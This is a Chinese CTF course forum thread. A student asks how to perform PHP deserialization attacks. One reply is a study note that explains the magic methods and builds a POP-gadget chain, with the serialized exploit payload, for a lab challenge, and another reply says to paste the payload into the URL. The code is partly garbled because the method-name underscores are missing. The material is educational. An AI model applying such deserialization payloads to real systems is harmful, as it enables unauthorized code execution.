首頁
社區(qū)
課程
招聘
操作不完整

問題描述

,沒講反序列在頁面中怎么操作

問題出現(xiàn)的環(huán)境背景及自己嘗試過哪些方法

相關(guān)代碼

粘貼代碼文本(請勿用截圖)

相關(guān)調(diào)試信息

附圖或描述

你期待的結(jié)果是什么?實際看到的錯誤信息又是什么?

收藏
7條回答
Editor 2023-9-15

這節(jié)還是有些難的,講師將思路全部講了,實操得自己去摸索一下,這樣才能理解的更深刻。也希望其他人,將研究心得發(fā)在筆記里分享出來。

回復(fù)
Spider_008 2023-9-20

筆記如下:

PHP反序列化漏洞分析與實操講解

簡介

● 序列化(serialize()):將PHP對象壓縮并按照一定格式轉(zhuǎn)換成宇符串過程
● 反序列化(unserialize()):從宇符串轉(zhuǎn)換回PHP對象的過程
● 目的:為了方便PHP對象的傳輸和存儲

聯(lián)想到電腦(diy)的栗子

案例1

 

● PS:主要用于對象的持久化(將對象保存到磁盤上以便以后讀取)或在不同系統(tǒng)之間傳輸對象。

序列化實例



反序列化攻擊概述

  • unserialize接收的參數(shù)用戶可控,傳入構(gòu)造的字符串,實現(xiàn)攻擊
    • 只序列化屬性、不序列化方法
      • 屬性名屬性值、訪問控制權(quán)限都存在,但是方法消失
  • 要尋找合適的能被我們控制的屬性,利用本身存在的方法

魔術(shù)方法

● 以 開頭
● (1)construct():當(dāng)對象創(chuàng)建時會自動調(diào)用(但在unserialize()時是不會自動調(diào)用的)。
● (2)wakeup()unserialize()時會自動調(diào)用. 當(dāng)對象所包含的屬性數(shù)<->不一致
● (3)destruct():當(dāng)對象被銷毀時會自動調(diào)用。
● (4)toString(): 當(dāng)反序列化后的對象被輸出在模板中的時候(轉(zhuǎn)換成字符串的時候)自動調(diào)用
__construct()

 

__destruct()

 

__sleep()

 

__wakeup()

 

__toString()

 

__invoke()

 

__call()

 

反序列化 中常用的魔術(shù)方法

 

wakeup() //使用 unserialize 時觸發(fā) sleep() //使用 serialize 時觸發(fā)
destruct() //對象被銷毀時觸發(fā) call() //在對象上下文中調(diào)用不可訪問的方法時觸發(fā)
callstatic () //在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā) construct()//當(dāng)對象被創(chuàng)建(new)時會自動調(diào)用
get() //用于從不可訪問的屬性讀取數(shù)據(jù) set () //用于將數(shù)據(jù)寫入不可訪問的屬性
isset () //在不可訪問的屬性上調(diào)用 isset ()或 empty() 時觸發(fā) unset () //在不可訪問的屬性上使用 unset () 時觸發(fā)
tostring() //把類當(dāng)作字符串使用時觸發(fā) invoke () //當(dāng)腳本嘗試將對象調(diào)用為函數(shù)時觸發(fā)

 

反序列化攻擊樣例

 

Aurora 對象的$test 變量為一個Evil 對象
Evil對象中的$test2變量為我們想要執(zhí)行的系統(tǒng)命令
Aurora對象銷毀時,調(diào)用destruct魔法函數(shù),進(jìn)而調(diào)用Evilaction函數(shù),進(jìn)而執(zhí)行$test2中我們想要執(zhí)行的系統(tǒng)命令
● 生成Payload

Review



實戰(zhàn)分析

● 靶機(jī)環(huán)境 CTF30小時訓(xùn)練營 實踐題目
根據(jù)Review提示構(gòu)造payload
● step
○ 1.查看代碼邏輯;
○ 2.根據(jù)代碼邏輯構(gòu)造payload;

 

class allstart
{
public $var1;
public $var2;
public function construct()
{
$this->var1 = new func1();
}
public function
destruct()
{
$this->var1->test1();
}
}
class func1
{
public $var1;
public $var2;
public function construct()
{
$this->var1 = new func2();
}
public function test1()
{
$this->var1->test2();
}
}
class func2
{
//step3: func2->
call()->在對象上下?中調(diào)?不可訪問的?法時觸發(fā)
public $var1;
public $var2;
public function construct()
{
$this->var1 = new func3();
}
public function
call($test2,$arr)
{
$s1 = $this->var1;
$s1();
}
}
class func3
{
//step3:func3->invoke()->concat string
public $var1;
public $var2;
public function
construct()
{
$this->var1 = new func4();
}
// 嘗試將對象調(diào)?為函數(shù)時觸發(fā)
public function invoke()
{
$this->var2 = "concat string".$this->var1;
}
}
class func4
{
// step2:func4->
tostring()->get_flag()
public $str1;
public $str2;
public function construct()
{
$this->str1 = new toget();
}
public function
toString()
{
$this->str1->get_flag();
return "1";
}
}
class toget
{
// step1: get_flag()
public function get_flag()
{

1
2
        ##echo "flag{***}";
}

}
$a=new allstart();
echo serialize($a);

 

O:8:"allstart":2:{s:4:"var1";O:5:"func1":2:{s:4:"var1";O:5:"func2":2:{s:4:"var1";O:5:"func3":2:{s:4:"var1";O:5:"func4":2:{s:4:"str1";O:5:"toget":0:{}s:4:"str2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}

總結(jié)

WebPHP反序列化漏洞分析能力得到提高。

回復(fù)
mb_njatsyxb: 謝謝同學(xué)這么細(xì)致的筆記,理解了,那獲得了序列化后,怎么獲取flag呢?
回復(fù) 2023-9-21
mb_yfadvhyw: 為什么相同的php代碼得到的序列化不一樣呢
回復(fù) 2024-5-22
Spider_008 2023-9-20

mark

回復(fù)
mb_xqobfuba 2024-2-22

大家序列化之后貼到地址欄那里就行了

回復(fù)
mb_yazpxvld 2024-3-4

mark

回復(fù)
gaoweb 2024-7-4

mark

回復(fù)
黑客KQ. 2024-8-2

Mark

回復(fù)
《30小時教你玩轉(zhuǎn)CTF》
  參與學(xué)習(xí)     610 人
  提問次數(shù)     59 個
《30小時教你玩轉(zhuǎn)CTF》;頂尖講師團(tuán)隊親授,教你深入淺出學(xué)攻防;每周一、周四更新
0
我的提問
0
我的回答
0
學(xué)習(xí)收益